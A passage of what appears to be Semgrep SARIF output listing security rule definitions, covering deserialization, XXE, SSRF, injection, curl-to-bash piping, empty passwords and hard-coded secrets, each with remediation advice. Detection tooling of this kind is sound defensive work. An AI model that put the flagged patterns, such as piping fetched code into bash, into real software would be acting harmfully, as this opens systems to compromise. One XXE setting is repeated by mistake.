[https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","id":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","name":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"help":{"markdown":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls)\n - [https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS](https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS)\n","text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","id":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","name":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","id":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","name":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash","id":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","name":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-pipe-bash.curl-pipe-bash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string","id":"python.django.security.passwords.password-empty-string.password-empty-string","name":"python.django.security.passwords.password-empty-string.password-empty-string","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.password-empty-string.password-empty-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/scalaj/scalaj-http#simplified-http](https://github.com/scalaj/scalaj-http#simplified-http)\n","text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","id":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","name":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"help":{"markdown":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line)\n","text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line","id":"ocaml.lang.portability.crlf-support.broken-input-line","name":"ocaml.lang.portability.crlf-support.broken-input-line","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.broken-input-line"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"help":{"markdown":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil)\n - [https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658](https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658)\n","text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"helpUri":"https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","id":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","name":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command","id":"kotlin.spring.tainted-system-command.tainted-system-command","name":"kotlin.spring.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint","id":"rust.actix.sql.diesel-taint.diesel-taint","name":"rust.actix.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","id":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","name":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1","id":"kotlin.lang.security.use-of-sha1.use-of-sha1","name":"kotlin.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to 